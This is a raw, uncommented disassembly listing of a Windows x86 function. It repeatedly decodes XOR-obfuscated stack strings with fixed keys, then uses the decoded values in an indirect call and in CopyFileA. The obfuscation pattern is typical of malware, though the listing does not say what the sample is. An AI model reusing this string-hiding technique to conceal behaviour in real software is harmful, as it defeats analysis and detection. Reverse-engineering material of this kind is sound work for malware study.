mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x690]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x690]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xc88]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x690], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x95
lea eax, [ebp - 0xc88]
cmp dword [ebp - 0xc74], 0xf
push 0
cmova eax, dword [ebp - 0xc88]
push eax
call edi
test eax, eax
je 0x411d25
mov dword [ebp - 0x28], 0xaaebcdc9
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0x9c2c8aa9
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x240], xmm1
movups xmmword [ebp - 0xe18], xmm0
mov dword [ebp - 0xe08], 0
mov dword [ebp - 0xe04], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119c0
sub ecx, edx
lea eax, [ebp - 0x240]
push ecx
push eax
lea ecx, [ebp - 0xe18]
call fcn.00403040
mov byte [ebp - 4], 0x96
mov dword [ebp - 0x28], 0x9bcbb3d4
mov dword [ebp - 0x24], 0xf901ae9a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6a0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6a0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xe18]
mov edx, eax
push ecx
lea ecx, [ebp - 0xc40]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0xe18]
call fcn.00402df0
cmp dword [ebp - 0xc2c], 0xf
lea ecx, [ebp - 0xc40]
cmova ecx, dword [ebp - 0xc40]
call fcn.004e6ca0
test al, al
je 0x411d07
mov dword [ebp - 0x28], 0xbcf882c9
lea edx, [ebp - 0xc40]
mov dword [ebp - 0x24], 0x8d2e8fb4
sub esp, 0x18
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x28], 0x10c3bc95
mov dword [ebp - 0x24], 0x14d84692
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x44], ecx
mov ecx, esp
movaps xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmmword [ebp - 0x6b0]
mov dword [ebp - 0x14], esp
push eax
movaps xmmword [ebp - 0x6b0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x99
mov byte [ebp - 4], 0x98
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x411d07
mov dword [ebp - 0x28], 0xbcf882c9
lea edx, [ebp - 0xc88]
mov dword [ebp - 0x24], 0x8d2e8fb4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x28], 0x10c3bc95
mov dword [ebp - 0x24], 0x14d84692
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6c0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1070]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6c0], xmm1
call fcn.0041ab20
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x9a
cmp dword [esi + 0x14], 0xf
jbe 0x411c26
mov esi, dword [esi]
mov dword [ebp - 0x28], 0xbcf882c9
lea edx, [ebp - 0xc40]
mov dword [ebp - 0x24], 0x8d2e8fb4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x28], 0x10c3bc95
mov dword [ebp - 0x24], 0x14d84692
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6d0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x6d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1058]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x6d0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x9b
cmp dword [eax + 0x14], 0xf
jbe 0x411cd3
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x1058]
call fcn.00402df0
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1070]
call fcn.00402df0
test esi, esi
je 0x411d07
mov byte [ebp - 0x31], 1
jmp 0x411d16
push ecx
lea ecx, [ebp - 0xc88]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0xc40]
call fcn.00402df0
cmp byte [ebp - 0x31], 0
jne 0x411d3a
push ecx
lea ecx, [ebp - 0x260]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xc88]
call fcn.00402df0
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x750]
call fcn.00402df0
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x148]
call fcn.00402df0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xc70]
call fcn.00402df0
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xbe0]
call fcn.00402df0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0xb98]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x260]
call fcn.00402df0
cmp byte [ebp - 0x78], 0
je 0x412294
mov dword [ebp - 0x28], 0x91cbb5c9
mov edx, 0x586d74
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xbc8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0x9c
lea eax, [ebp - 0xbc8]
cmp dword [ebp - 0xbb4], 0xf
push 0
cmova eax, dword [ebp - 0xbc8]
push eax
call edi
test eax, eax
je 0x412282
mov dword [ebp - 0x28], 0xbaebacc9
lea edx, [ebp - 0xbc8]
mov dword [ebp - 0x24], 0xb710acb5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x28], 0x13d4d1c6
mov dword [ebp - 0x24], 0x60bb2390
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x28], 0xd94f69a7
mov dword [ebp - 0x24], 0xc0cfc619
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x28], 0xae7946e8
mov dword [ebp - 0x24], 0x89c15b7c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xd94f69a7
mov dword [ebp - 0x24], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x89c15b7c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x770]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x770], xmm1
movaps xmm1, xmmword [ebp - 0x760]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x770]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xbb0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
mov byte [ebp - 0x33], 0
movaps xmmword [ebp - 0x760], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x9d
lea eax, [ebp - 0xbb0]
cmp dword [ebp - 0xb9c], 0xf
push 0
cmova eax, dword [ebp - 0xbb0]
push eax
call edi
test eax, eax
je 0x412264
mov dword [ebp - 0x28], 0xbaebacc9
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0xb710acb5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x28], 0x13d4d1c6
mov dword [ebp - 0x24], 0x60bb2390
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x28], 0xb63d19fb
mov dword [ebp - 0x24], 0xa5a3af7f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x28], 0xae79469b
mov dword [ebp - 0x24], 0x89c15b7c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xd94f69a7
mov dword [ebp - 0x24], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xae7946e8
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x89c15b7c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x2f0], xmm1
movups xmmword [ebp - 0xde8], xmm0
mov dword [ebp - 0xdd8], 0
mov dword [ebp - 0xdd4], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412100
sub ecx, edx
lea eax, [ebp - 0x300]
push ecx
push eax
lea ecx, [ebp - 0xde8]
call fcn.00403040
mov byte [ebp - 4], 0x9e
mov dword [ebp - 0x28], 0x9bcbb3d4
mov dword [ebp - 0x24], 0xf901ae9a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xde8]
mov edx, eax
push ecx
lea ecx, [ebp - 0xe00]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0xde8]
call fcn.00402df0
cmp dword [ebp - 0xdec], 0xf
lea ecx, [ebp - 0xe00]
cmova ecx, dword [ebp - 0xe00]
call fcn.004e6ca0
test al, al
je 0x412240
sub esp, 0x18
lea eax, [ebp - 0xbb0]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa1
sub esp, 0x18
lea eax, [ebp - 0xe00]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa2
mov byte [ebp - 4], 0xa0
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x412240
mov byte [ebp - 0x33], 1
jmp 0x41224f
push ecx
lea ecx, [ebp - 0xbb0]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0xe00]
call fcn.00402df0
cmp byte [ebp - 0x33], 0
jne 0x412273
push ecx
lea ecx, [ebp - 0xbc8]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0xbb0]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc8]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c70
call fcn.00402c60
int3